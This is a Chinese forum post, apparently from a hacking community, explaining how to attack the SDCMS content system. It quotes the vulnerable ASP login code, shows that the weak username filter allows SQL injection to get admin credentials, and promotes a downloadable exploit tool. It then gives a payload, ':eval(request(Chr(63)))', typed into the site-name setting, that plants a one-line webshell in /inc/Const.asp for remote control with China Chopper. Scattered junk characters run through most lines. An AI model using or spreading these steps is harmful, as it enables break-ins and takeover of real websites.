SDCMS通杀漏洞利用工具及提权拿SHELL

admin

作者：T00LS 鬼哥
漏洞文件：后台目录/index.asp
# k8 C% o5 G$ s
Sub Check
, e/ W# q. P% N) g" O$ z- q    Dim username,password,code,getcode,Rs
    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
' Q$ Y% d! s5 n% Y6 p- n    username=FilterText(Trim(Request.Form("username")),1)
/ S3 ^8 Z& _3 C( T    password=FilterText(Trim(Request.Form("password")),1)
    code=Trim(Request.Form("yzm"))
: N3 I5 i( N: A0 ?3 e    getcode=Session("SDCMSCode")
9 o  \; W! T7 B  y$ T    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
* i9 G8 L- f* o2 r0 k8 e6 i9 ^0 f    IF code="" Then Alert "验证码不能为空！","javascript:history.go(-1)"ied
# y/ j  y$ h: i( m    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字！","javascript:history.go(-1)"ied
$ t* H' g' T6 ^# `+ i& I3 A    IF code<>getcode Then Alert "验证码错误！","javascript:history.go(-1)"ied
    IF username="" or password="" Then
# \  p" d: @8 c        Echo "用户名或密码不能为空"ied
- v) \) v* J( y/ v+ P9 K8 x" K2 C, n    Else
) c7 }. N8 N# X1 e% J& e        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
        IF Rs.Eof Then
            AddLog username,GetIp,"登录失败",1
            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
& D* d/ h  J9 b. W        Else
8 _% \9 M. D6 f! b) ?            Add_Cookies "sdcms_id",Rs(0)
            Add_Cookies "sdcms_name",username
: y. M/ S9 O1 T            Add_Cookies "sdcms_pwd",Rs(2)
3 y, k: _3 D3 H. w( V# S4 A$ T            Add_Cookies "sdcms_admin",Rs(3)
            Add_Cookies "sdcms_alllever",Rs(4)
            Add_Cookies "sdcms_infolever",Rs(5)
* |, w+ V: n8 a6 r            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
            AddLog username,GetIp,"登录成功",1
" p- K  ]# ?# c  g5 l* e( s            '自动删除30天前的Log记录
            IF Sdcms_DataType Then
0 M7 C( |) w4 }, F7 i                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
5 c* W- P! e4 ]7 \# z            Else
' ^0 `3 v# i! Z( S, k                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
" ?+ ~! U' b- Q: }( V* W* s+ f            End IF
0 f, O( w7 `& `: X, u            Go("sdcms_index.asp")
        End IF
2 q" }; w" R# h        Rs.Close
4 R7 F) g- `' W0 ^  o        Set Rs=Nothing
    End IF
3 A$ t9 C6 j# T' |) t# I5 L1 Y$ m8 CEnd Sub
9 u! F: ^% g) @% }! y4 U
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码
4 o/ O& p' Q2 Y# ]" E
7 E0 O4 S& {! R: t2 aFunction FilterText(ByVal t0,ByVal t1)
    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
    t0=Trim(t0)
    Select Case t1
" h2 b5 U9 r8 y4 |        Case "1"
            t0=Replace(t0,Chr(32),"")
$ p* B4 H3 z( z. K% H& B            t0=Replace(t0,Chr(13),"")
7 U- b8 C) ?/ f2 [# }6 V/ A6 u# p            t0=Replace(t0,Chr(10)&Chr(10),"")
            t0=Replace(t0,Chr(10),"")
4 v: \, j* B/ {  n+ c        Case "2"
( N8 k% [  I/ L0 S2 f            t0=Replace(t0,Chr(8),"")'回格
( {2 u, x! M5 i7 P" G            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
            t0=Replace(t0,Chr(10),"")'换行
% v6 h( L) t! |- q- Z) G. @            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
1 U! s, n3 J4 ^1 W. [+ z            t0=Replace(t0,Chr(12),"")'换页
3 U+ o: b: o0 N5 n$ N# n: q            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
            t0=Replace(t0,Chr(22),"")
9 P/ D) z- A. ?! U& j2 X, k            t0=Replace(t0,Chr(32),"")'空格 SPACE
            t0=Replace(t0,Chr(33),"")'!
7 v8 f0 B, G# f! m/ S% J3 e            t0=Replace(t0,Chr(34),"")'"
            t0=Replace(t0,Chr(35),"")'#
            t0=Replace(t0,Chr(36),"")'$
            t0=Replace(t0,Chr(37),"")'%
  H8 K" K  B, W            t0=Replace(t0,Chr(38),"")'&
            t0=Replace(t0,Chr(39),"")''
            t0=Replace(t0,Chr(40),"")'(
            t0=Replace(t0,Chr(41),"")')
# c( X; a1 r7 M( r. ~$ [            t0=Replace(t0,Chr(42),"")'*
) B  C6 {2 N3 h, m* _            t0=Replace(t0,Chr(43),"")'+
4 Z- I& P3 L/ u( H  b4 d            t0=Replace(t0,Chr(44),"")',
            t0=Replace(t0,Chr(45),"")'-
, i; q$ i/ r2 W$ b3 p" E( W0 O' h            t0=Replace(t0,Chr(46),"")'.
& @: v0 }& r1 `# h  Z  e$ ^$ m$ B$ Q            t0=Replace(t0,Chr(47),"")'/
            t0=Replace(t0,Chr(58),"")':
1 z& F/ y' S4 I% L' U, x* _            t0=Replace(t0,Chr(59),"")';
            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
; M! b" J# ?$ `5 x6 k( _' v            t0=Replace(t0,Chr(63),"")'?
            t0=Replace(t0,Chr(64),"")'@
  }: K5 I6 p/ m) F) h: r6 ]& F            t0=Replace(t0,Chr(91),"")'\
            t0=Replace(t0,Chr(92),"")'\
% M; p2 Y% I( f  z0 I            t0=Replace(t0,Chr(93),"")']
' Y1 V6 }6 s- l3 k, A            t0=Replace(t0,Chr(94),"")'^
) p0 S" p# g6 r            t0=Replace(t0,Chr(95),"")'_
7 K( {; x# n0 k            t0=Replace(t0,Chr(96),"")'`
            t0=Replace(t0,Chr(123),"")'{
; w% ]% i/ Z  [6 `# j. Z& }  f9 T$ y            t0=Replace(t0,Chr(124),"")'|
( N: O& g# p$ e" Y, @            t0=Replace(t0,Chr(125),"")'}
) \/ O: i; R3 a* l' o& z1 t            t0=Replace(t0,Chr(126),"")'~
2 i# X: f9 e, ]0 ^( O) c+ z5 z+ H. C: E    Case Else
        t0=Replace(t0, "&", "&")
7 `( G: z( H- G8 }        t0=Replace(t0, "'", "'")
        t0=Replace(t0, """", """)
0 L3 I5 C- y3 o, \6 A7 ~        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
    End Select
5 q: x3 S7 Y. `7 \4 ^: s    IF Instr(Lcase(t0),"expression")>0 Then
        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
    End If
4 T; u# U/ d( y! ]7 v. T8 Y    FilterText=t0
: y$ n/ L$ J! {; CEnd Function
: E! K% y* T* [( f9 m
看到没。直接参数是1 只过滤
3 e% a. i1 L% @2 _2 C                        t0=Replace(t0,Chr(32)," ")
2 \4 r/ O- v- i6 u7 d                        t0=Replace(t0,Chr(13),"")
                        t0=Replace(t0,Chr(10)&Chr(10),"
")
                        t0=Replace(t0,Chr(10),"
")
漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
$ @4 }# g# r7 }1 V/ w3 V! ?$ W
1 V7 u9 q" y( g( Q: E测试:
; d# J( n* G# t

现在输入工具上验证码,然后点OK
* x" O) I  K. q; [( a

看到我们直接进入后台管理界面了,呵呵!

3 d8 ~( B8 R  n3 r  R3 D1 W% _2 D" L
, b6 V& d! J0 X9 Q
这样直接进入后台了。。。。


' W0 z$ Z! I% q/ z) z- [% ]4 \
: i; E$ a0 N2 l. U. L) W6 hSDCMS提权:
" k1 S0 p& h6 \
! N& D- O* c7 k# o- A7 o方法1：访问：/后台目录/sdcms_set.asp 在 网站名称：后面加个 “:eval(request(Chr(63)))’  即可，直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?



OK,现在用菜刀连接下!

" U, e, _) x2 L  c9 j7 _8 ~& g
7 G2 I7 p% o8 r) K2 d# Q0 U
( r9 A) L! ?' [( P4 w
! D, X; D, \3 S: i! `2 d
2 I5 f& J/ I) o* H) a" U1 I